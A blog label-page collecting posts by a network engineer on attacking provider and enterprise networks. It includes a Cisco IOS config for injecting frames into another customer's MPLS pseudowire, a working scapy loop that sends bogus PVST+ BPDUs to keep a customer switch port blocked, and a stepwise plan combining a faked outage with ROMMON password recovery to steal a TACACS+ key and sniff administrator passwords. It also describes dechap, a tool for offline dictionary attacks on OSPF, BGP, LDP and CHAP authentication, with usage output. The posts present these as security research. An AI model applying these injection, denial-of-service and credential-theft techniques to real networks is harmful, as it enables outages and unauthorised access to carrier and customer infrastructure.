Showing posts with label attack. Show all posts
Showing posts with label attack. Show all posts

Monday, 12 January 2015

Bending the MPLS Security Model - part 3 (Layer 2 Injection)

Attack 1 - layer 2 injection

Back in the days when I did solution validation and regression testing for a living, I normally had to set up full solutions in the lab, built to specific designs. I would then often need test egress QoS policies, filters and so on. To be sure that ingress QoS and filters did not invalidate the results, I had a few options:

1. Temporarily remove the ingress policies, making sure they were re-applied correctly afterwards and that nobody else tested in the mean time

2. Build a duplicate service but instead of terminating the far end on a real device, emulate everything from IGP up on a tester

3. Cheat

Option 1 is pretty risky as "temporary" easily turns into "permanent" if you're not very careful. Option 2 is a lot of work and runs the risk of compromising the design in order to inter-operate with the tester.

Given that the drawbacks of the other available options, I usually fell back on option 3. What I would do is set up the service as per design, then attach the tester somewhere in the MPLS core - basically any port that would label switch. The tester didn't need to peer any protocols at all, saving huge amounts of setup and troubleshooting time, as the packets would be hand crafted in true "dirty hack" style. All I had to do was look at the label bindings on the egress PE to work out what service label to use and on the first hop router to see what transport label needed to be used.

I'll make this example a little simpler by getting a router to do the ARP, work out the transport label and encapsulate the packets. Rest assured that it's perfectly possible to do this by hand if you don't have a real PE. We'll take a simple pseudowire service as an example. We have the following setup:



We want to make our traffic from device X come out of the PE towards LAN B, as if it had been sent through from LAN A. Two things are needed for this:

  1. The transport label that will get traffic forwarded to router B
  2. The service label that PE B expects to receive for the pseudowire
Now in my lab example, I could just log onto each of the devices and get these. The transport label to get to PE B can be found in the output of the neighbouring router's "show mpls ldp bindings" or similar, in our example we will just let the "evil" PE learn it via LDP.  The service label could be found in the bindings list for PE A or PE B, may be sniffed from live traffic if you have access to somewhere in the switching path, or can be guessed using the information in the previous post.
Anyway, we can use the evil PE to do most of the donkey work for us as far as encapsulation goes. With a fairly simple config, the PE can be made to inject into whatever service we like. Because this is a static config, the evil PE doesn't tell any other devices we are doing this.

Here's the config from the evil PE (Cisco IOS):

mpls label range 100 1048575 static 16 99
!
interface GigabitEthernet1/1
 no ip address
 xconnect 10.255.255.2 100 encapsulation mpls manual
  mpls label 99 19
  mpls control-word
!

The blue section simply reserves part of the label range for static allocation. The actual numbers aren't important but in order to build the bogus EoMPLS service we need to statically assign an incoming label (even though it will never be used). By default, IOS doesn't reserve any of the label space for static allocation and, until you do, you can't assign a manual label. In this example we designate that labels 100 - 1048575 are to be used for dynamic allocation (i.e. given out by LDP, BGP) and labels 16 - 99 are reserved for static allocation, though the actual numbers aren't important.

The red section looks very similar to a normal EoMPLS service build, except for the use of the keyword "manual" and the MPLS tweaks inside. The manual keyword does exactly what you would expect, i.e. it tells the router that this VC will not be signalled using LDP but rather the parameters are going to be manually (statically) configured. 

Once in the xconnect context we define what labels the service will use in each direction - inbound first (we don't care what this is) and then outbound (this has to match the label expected by the EoMPLS service into which we are trying to inject traffic). Remember, you may have to guess the outbound label if you don't have access to either of the serving PEs.

Finally, depending on the vendor and / or configuration of the serving PEs you may need to adjust the control-word setting. Cisco and recent Junipers default to enabled, Alcatel-Lucent and older Junipers default to disabled. 

Now, assuming the label is correct, any frames attacker "X" sends into the Evil PE will come out of the MPLS core and hit user B as if they had been sent by user A. This is unidirectional so the potential for "connecting" to anything is not really there, however there is a massive amount of harm that can be done at this point. Possible attacks range from a simple flood to spanning tree & LACP attacks, even creating IP conflicts or interfering with the operation of routing protocols.

Worked Example


Here's an example showing how an attacker can use the setup above to wreak havoc by throwing in some random PVST packets. The customer setup is as below, with a Cisco switch attached to each of the provider edge routers and a layer 2 service running between.


Note, the switches are running PVST over the link as per default. If a switch sees a BPDU marked as being from the "wrong" VLAN it will decide the port is "broken" (Cisco's terminology, not mine) and block it.

As an attacker we can use this to our advantage by sending frames for 2 different VLAN IDs towards one of the switches. That way, whatever the native VLAN ID of the receiving port is set to, at least one of the VLAN IDs will be incorrect and force the switch to block.

Here's a scruffy scapy loop to do that:

>>> import time
>>> outint='eth0'
>>> bridgemac='\x00\x00\x00\x00\x00\x01'

>>> while True:
...   sendp(Dot3(src='00:00:00:00:00:01', dst='01:80:c2:00:00:00')/LLC(dsap=170,ssap=170,ctrl=3)/Raw(load='\x00\x00\x0c\x01\x0b\x00\x00\x00\x00\x00\x80\x00'+bridgemac+'\x00\x00\x00\x00'+'\x80\x00'+bridgemac+'\x80\x01'+'\x00\x00\x14\x00\x02\x00\x0f\x00\x00'+'\x00\x00\x00\x02'+'\x00\x02'),iface=outint)
...   time.sleep(10)
...   sendp(Dot3(src='00:00:00:00:00:01', dst='01:80:c2:00:00:00')/LLC(dsap=170,ssap=170,ctrl=3)/Raw(load='\x00\x00\x0c\x01\x0b\x00\x00\x00\x00\x00\x80\x00'+bridgemac+'\x00\x00\x00\x00'+'\x80\x00'+bridgemac+'\x80\x01'+'\x00\x00\x14\x00\x02\x00\x0f\x00\x00'+'\x00\x00\x00\x02'+'\x00\x03'),iface=outint)
... 
.
Sent 1 packets.
^C

As long as the loop continues, the port will always remain down. A nice DoS that would be pretty hard to figure out, even if the console messages are quite clear (below from a single BDPU):

SW2#
*Mar  1 02:04:21.755: %SPANTREE-2-RECV_PVID_ERR: Received BPDU with inconsistent peer vlan id 3 on FastEthernet0/1 VLAN1.
*Mar  1 02:04:21.755: %SPANTREE-2-BLOCK_PVID_LOCAL: Blocking FastEthernet0/1 on VLAN1. Inconsistent local vlan.
SW2#PVST+: restarted the forward delay timer for FastEthernet0/1

SW2#
*Mar  1 02:04:36.831: %SPANTREE-2-UNBLOCK_CONSIST_PORT: Unblocking FastEthernet0/1 on VLAN1. Port consistency restored.
SW2# PVST+:Inconsistency timer expired. inconsistency 0
                 cleared for FastEthernet0/1

One bad PVST+ BPDU will generally cause the port to block for anywhere between 10 and 50s. It's extremely efficient :)

References




Tuesday, 8 October 2013

Unexpected LDP Support in dechap

About a week ago I made a couple of updates to dechap which allowed it to run dictionary attacks firstly against OSPF packets and then against BGP packets. Since then I've been thinking about adding other protocols such as TACACS+ (turns out to be hard, see my other post on this), LDP, HSRPv2, you name it.

This evening I decided to sit down and work on LDP support, only to discover that just like BGP, LDP uses the TCP MD5 signature option for authentication. After pausing for a moment to wonder if I really was that lucky I decided to knock together a quick test. Basically the answer is "yes, I am that lucky" and "yes, dechap v0.4a works against LDP". So I can add another protocol to the growing list without even modifying the code.

So to summarise, dechap can now attack:

  • PPP / PPPoE CHAP authentication
  • RADIUS CHAP authentication
  • L2TP CHAP authentication
  • OSPF MD5 authentication
  • BGP MD5 authentication
  • LDP MD5 authentication
...straight from the pcap file, even if the captured traffic has MPLS labels and / or VLAN tags.

Time to move onto the next target... any suggestions?

Meanwhile, dechap v0.4a can be downloaded at my github.

Saturday, 5 October 2013

Be Careful where you use TACACS!

As part of my on-going work to add more and more protocols into my hobby project dechap, I started looking into the workings of TACACS+ today. I was looking to see whether TACACS+ would be a likely candidate as the next attackable protocol. I had in my mind a couple of events from my past that made me suspect that a TACACS+ server couldn't really tell when an incorrect key was in use, other than that the packet decoded to garbage that it was then not able to interpret. If that is the case, it would be very hard to attack the protocol as there is not a straightforward way to tell when you've hit the correct key. I'll let you know when I've figured that out because as I read the protocol spec something else derailed my train of thought.

Like most network engineers I was raised on Cisco's literature and read through plenty of their whitepapers such as this one comparing RADIUS and TACACS+. This document is full of useful facts such as "RADIUS does not allow users to control which commands can be executed on a router and which cannot" (no, Cisco, because for some reason you notched out the ability to do so in IOS) and that RFC compliance doesn't guarantee interoperability. One of the parts I always remembered and believed, in the olden days at least, was the part that says that far beyond the argument of TCP being better than UDP, TACACS+ is more secure than RADIUS due to the way it encrypts the entire message body. I suspect most people just swallow that without chewing, I know I did. Encryption is good, so more encryption must be better.

RADIUS, by comparison, uses CHAP for secure password authentication but makes no attempt to encrypt the parameters within requests and responses. To be fair, these can just be read in plain text straight off the wire. The shared key used when configuring RADIUS is purely an authentication measure - it guards against arbitrary spoofed requests and tampering but does not offer any kind of privacy.

In reality the biggest part of the decision when choosing one or the other will be a "horses for courses" argument. Want to authenticate PPP subscribers with a nice wholesale / retail proxy model? Use RADIUS. Want to authenticate logins to infrastructure devices and authorise specific commands down to the parameter level? Use TACACS+.

A Slightly More Balanced Comparison

Let's compare the relative merits, security wise of each protocol.

Message Encryption

TACACS+, as previously mentioned, encrypts the entire message body using a pre-shared key. It only leaves the header in the clear, so without the key it is only really possible to determine who is client and who is server, plus what kind of messages are being passed (authentication or authorisation, query or response).

RADIUS uses a pre-shared key to authenticate messages going back and forth, but the messages themselves are unencrypted and can easily be read straight off the wire.

Credentials

RADIUS relies on CHAP for user credential validation. The NAS sends a "random" challenge to the user, who produces a one-way hash of the challenge data and password (plus some other stuff) and returns that to the NAS. The NAS then sends the challenge and response off to the RADIUS, meaning that the credentials are never sent over the wire in any reversible way. In order to get the password an attacker must capture the challenge and response data then run a dictionary or brute force attack. On the down side, the RADIUS server itself must have a plaintext copy of the password available in order to verify that a response is correct given the challenge. Clearly if the RADIUS server's password database is compromised then things get quite sticky. For proxy RADIUS, the proxy does not need access to plaintext passwords. In summary, passwords are safe in flight but exposed at rest.

TACACS+ relies on the pre-shared key to encrypt everything, including password information. No form of CHAP or similar system is used, so credentials are passed in a reversible form over the wire. It's encrypted, though, so don't worry - unless an attacker knows the key it's all just gibberish. On the positive side of this, the TACACS+ server does not need to store plaintext passwords for the end users and can instead keep one-way hashes on disk meaning that a compromised database is arguably less of an issue. Safe at rest and safe in flight.

Or is it? Think about the typical use case again. TACACS+ is more-or-less always used to authenticate CLI users logging into routers and switches. The key used to encrypt the TACACS+ communications is stored in the device config, either completely in plain text or using (trivially) reversible type 7 encryption. Virtually all devices are left with the password recovery mechanism enabled. Most of the time the key is re-used across every device in the estate since it makes administration easy and, what's the risk anyway?

A Really Easy Attack

I'd like to point out I'm not suggesting or endorsing any kind of illegal or immoral behaviour. Even as a joke :)

The thought occurs that many TACACS+ managed devices are in remote locations - far flung or sparsely populated offices, in accessible wiring closets, even (*shudder*) customer sites. Given physical access to a device, it's very possible to make a terminal emulator script to perform a password recovery, dump out the config then reset the config register to its original value within only a couple of seconds more than it takes to double-reboot the device. I know this because I did it many moons ago (I don't have it any more - it was pretty easy to write, though).

If I were an evil adversary who wanted to get some credentials, perhaps a good way would be:
  1. Feign a power cut, on-site work or some other convincing reason for a device to go down
  2. Take the device off the network (to avoid it phoning home by syslog / SNMP) and perform a quick password recovery / config dump before putting it back to its original condition:

  3. *break*
    Readonly ROMMON initialized
    program load complete, entry point: 0x8000f000, size: 0xcb80

    monitor: command "boot" aborted due to user interrupt
    rommon 1 > confreg 0x2142

    You must reset or power cycle for new config to take effect
    rommon 2 > reset

    *snip snip*
    Would you like to enter the initial configuration dialog? [yes/no]: no

    Press RETURN to get started!

    Router>enable
    Router#show startup-config | include tacacs
    aaa authentication login default group tacacs+ local
    aaa authorization exec default group tacacs+ none
    aaa authorization configuration default group tacacs+
    tacacs-server host 10.4.4.10
    tacacs-server key supersecret
    Router#conf t
    Enter configuration commands, one per line.  End with CNTL/Z.
    Router(config)#config-register 0x2102
    Router(config)#^Z
    Router#reload
    System configuration has been modified. Save? [yes/no]: no
    Proceed with reload? [confirm]


  4. Stick a sniffer inline between the device and wherever its administrators are
  5. Call in a fault saying that since the power cut / whatever nothing attached to that router / switch is able to see the network - perhaps leave the LAN side disconnected for authenticity
  6. Capture TACACS+ packets as the administrators log in to investigate
  7. Come up with some compelling reason for comms to go down again while the sniffer is taken out
Now with the config dump it is trivial to get the TACACS server key - it's either just there in the clear or can be decoded from the type 7 encrypted version using any number of free tools. If you put this key into the TACACS+ protocol settings of Wireshark (in the preferences screen expand the protocols area then scroll down to TACACS+), it will happily decrypt the captured packets from step 5:


Configuring Wireshark
Viewing the Decrypted Payload


Now you have the administrator username(s) and password(s) in plain text!

Yikes!

Are you sure you still want to run TACACS on that remote box?

Thursday, 3 October 2013

BGP support added to dechap

Hot on the heels of adding the ability to attack OSPF MD5 authentication, I've added BGP support to dechap. It is now possible to feed a pcap file with PPPoE, L2TP, RADIUS, OSPF and BGP packets to the same tool and perform offline dictionary attacks on the authentications within.

As usual, if you're not interested in the theory just skip right to the end for the download link.

TCP MD5 Signatures

BGP authentication uses the MD5 Signature TCP option field, which is defined in RFC 2385. Personally, I found this RFC very vague and it took a lot of iterations to get the technique right. It's particularly fuzzy about what is included in the hash, what isn't and how to present values correctly. I'm hoping to document the process a little more clearly for the next poor guy who tries to implement it as I couldn't find a sufficiently detailed reference anywhere.

RFC 2385 states that the hash must be calculated over the following:

1. the TCP pseudo-header (in the order: source IP address,
   destination IP address, zero-padded protocol number, and
   segment length)
2. the TCP header, excluding options, and assuming a checksum of
   zero
3. the TCP segment data (if any)
4. an independently-specified key or password, known to both TCPs
   and presumably connection-specific

Now, maybe it's just me, but this raised a lot of questions in my mind. Zero padding usually means to fill the trailing space with zeros, but padding the second byte would effectively multiply the protocol number by 256 so should it be a leading zero? Which headers and options are included in the "segment length"? Should the pad bytes be copied with the TCP header?

Through a lot of trial and error I found that:
  • The zero padding goes before the protocol number
  • The "segment length" includes the TCP header, the TCP options (including room for the MD5 signature option being calculated) and the actual payload data
  • The copied TCP header should be 20 bytes long, i.e. includes two padding bytes after the (zeroed out) checksum. The header length remains as-is, including the length of the options.
  • The TCP segment data starts immediately after the TCP options and runs to the last byte indicated by the IP length field
  • The null byte terminating the password is not passed to the hash algorithm
 The resulting hash value is then stored inside the MD5 signature option (kind 19, length 18).

Checking / Attacking BGP Packets

Using the above method it is straightforward to run a dictionary attack as follows:


  • Start with a sniffed BGP packet (see the original dechap blog post for info on how this is extracted).
  • Extract and store the authentication hash (look for option kind 19) for later comparison
  • Put together the "pseudoheader" as described above
  • Append the TCP header without options
  • Append the TCP payload
  • Append the candidate password
  • Calculate the MD5 hash over the complete data set and compare to the value seen in the sniffed packet. A matching hash indicates a matching password.
As of v0.4a, dechap can now be used to automate this process.

Obtaining the Tool

The C source code may be downloaded from: https://github.com/theclam/dechap

Provided the OpenSSL dev libraries are installed it should be possible to simply extract the source code, cd into the directory then run "make". I've only tested this under Ubuntu Linux but there are very few dependancies so I would imagine it will work on most distributions.

Using the Tool

As usual - this is for legitimate audit and recovery purposes and must not be used for any kind of malicious activity.

The usage is pretty straightforward - there are only two parameters and both are mandatory. Specify your capture file (original pcap format) with the -c flag and your word list with the -w flag. Here's an example:

lab@lab:~/dechap$ ./dechap -w mywords.txt -c bgp.cap
Found password "password1" for TCP from 10.0.0.2 to 10.0.0.1.
Found password "password1" for TCP from 10.0.0.1 to 10.0.0.2.
Found password "password1" for TCP from 10.0.0.2 to 10.0.0.1.
lab@lab:~/dechap$
I'm not sure how quickly it runs but it doesn't seem quite as quick as the OSPF version. I suppose BGP packets tend to be a little bigger than OSPF so there's more to hash. You can improve the speed by only including one packet for each source / destination pair in each capture as, at present, it doesn't check for multiple packets between pairs and attacks each instance individually.

If you try this out, please leave a comment on this post with your experiences - good or bad. Any suggestions would also be welcome, particularly for other protocols to attack.

References

RFC2385 - Protection of BGP Sessions via the TCP MD5 Signature Option
RFC1321 - The MD5 Message-Digest Algorithm


Wednesday, 2 October 2013

Offline Attack on MD5 keys in captured OSPF packets

A few months ago I released a tool called dechap which finds PPPoE, L2TP and RADIUS authentications in pcap files and performs dictionary attacks against them. Since writing dechap I've always thought it would be more useful if it were able to do a similar thing with OSPF packets.

Well, the good news is that I've finally got around to adding OSPF support to dechap! Woo and yay! If you just want the tool, scroll straight to the bottom. If you're interested in the theory, read on.

OSPF Authentication Basics

OSPF, or more accurately OSPFv2 as defined in RFC2328, has three options for authenticating incoming packets:

Null: no authentication is performed at all.

Password: a plaintext password is added in the clear to each OSPF packet. If the password contained in an incoming packet matches the one configured locally then the packet is considered valid and is processed, otherwise it is silently ignored.

Message Digest: an MD5 hash is calculated over a combination of the OSPF packet contents and the password. The hash output is then added to the OSPF packet before transmission. When a packet arrives, the receiving router computes an MD5 hash of the packet contents plus its locally stored password. If the calculated hash matches the one attached to the incoming packet then the check passes and the packet is processed; otherwise it is silently dropped.

Note that this is authentication only - in other words the password only serves to verify that the packet contents are authentic. It does not offer privacy, so all the information within the packet is visible  in the clear.

OSPF MD5 Authentication Detail

One thing I found unclear in RFC 2328 was exactly what data the MD5 hash was calculated over. The RFC states:

Input to the authentication algorithm consists of the OSPF packet and the secret key.

... and clarifies that:

(a) The 16 byte MD5 key is appended to the OSPF packet.

(b) Trailing pad and length fields are added, as
    specified in [Ref17].

(c) The MD5 authentication algorithm is run over the
    concatenation of the OSPF packet, secret key, pad
    and length fields, producing a 16 byte message
    digest (see [Ref17]).

(d) The MD5 digest is written over the OSPF key (i.e.,
    appended to the original OSPF packet). The digest is
    not counted in the OSPF packet's length field, but
    is included in the packet's IP length field. Any
    trailing pad or length fields beyond the digest are
    not counted or transmitted.

Confusingly, Ref17 refers to RFC1321, which defines the MD5 algorithm. MD5 defines a method to pad the input before the hash is calculated, so it's easy to assume that point (b) refers to that - it doesn't. I spent a couple of hours trying to work out why my hashes were coming out to the wrong value before finally figuring it out. To aid others, I've taken the liberty of rewriting the instructions so that they can be understood by thickos such as myself:

Calculating the MD5 Hash

In order to calculate the correct MD5 hash, the following method should be used:

(a) Build the OSPF packet as normal, ensuring that the key number and authentication sequence number are populated. The OSPF length field must contain the total number of bytes in the packet at this point. The checksum must be set to zero.

(b) The authentication key / password in plaintext must be adjusted to exactly 16 bytes, i.e. if the key is longer than 16 bytes then it must be truncated, shorter keys must be padded with null (0x00) bytes until 16 bytes long. The resulting 16 byte "modified authentication key" is then appended to the packet.

(c) The MD5 hash must be calculated over the entire result, i.e. the original OSPF packet plus the 16 byte modified authentication key.

(d) The resulting hash is then written over the modified authentication key in the last 16 bytes of the packet.

Testing / Attacking OSPF Packets

Using the above method it is straightforward to run a dictionary attack as follows:


  • Start with a sniffed OSPF packet (see the original dechap blog post for info on how this is extracted).
  • Extract the original OSPF packet (start immediately after the IP header and continue up to the length specified in the OSPF header)
  • Extract and store the authentication hash (the 16 bytes following the packet) for later comparison
  • Zero out the checksum
  • For each candidate password, pad or truncate to 16 bytes and append to the original OSPF packet. 
  • Calculate the MD5 hash as described above and compare to the value seen in the sniffed packet. A matching hash indicates a matching password.
As of v0.3a, dechap can now be used to automate this process.

Obtaining the Tool

The C source code may be downloaded from: https://github.com/theclam/dechap

Provided the OpenSSL dev libraries are installed it should be possible to simply extract the source code, cd into the directory then run "make".

Using the Tool

As usual - this is for legitimate audit and recovery purposes and must not be used for any kind of malicious activity.

The usage is pretty straightforward - there are only two parameters and both are mandatory. Specify your capture file (original pcap format) with the -c flag and your word list with the -w flag. Here's an example:

lab@lab:~/dechap$ ./dechap -w mywords.txt -c ospf-bcast.cap
Found password "password1" for user OSPF host 10.1.1.1 key 1.
Found password "password1" for user OSPF host 10.1.1.2 key 1.
Found password "password1" for user OSPF host 10.1.1.1 key 1.

lab@lab:~/dechap$

I haven't tried any serious benchmarks for this but it seems reasonably fast. In a worst case scenario (correct key not present) on my creaky old Athlon XP 2100 it can try 100k passwords in under 100ms.

If you try this out, please leave a comment on this post with your experiences - good or bad. Any suggestions would also be welcome (yes, I know BGP exists).

References

RFC2328 - OSPF Version 2
RFC1321 - The MD5 Message-Digest Algorithm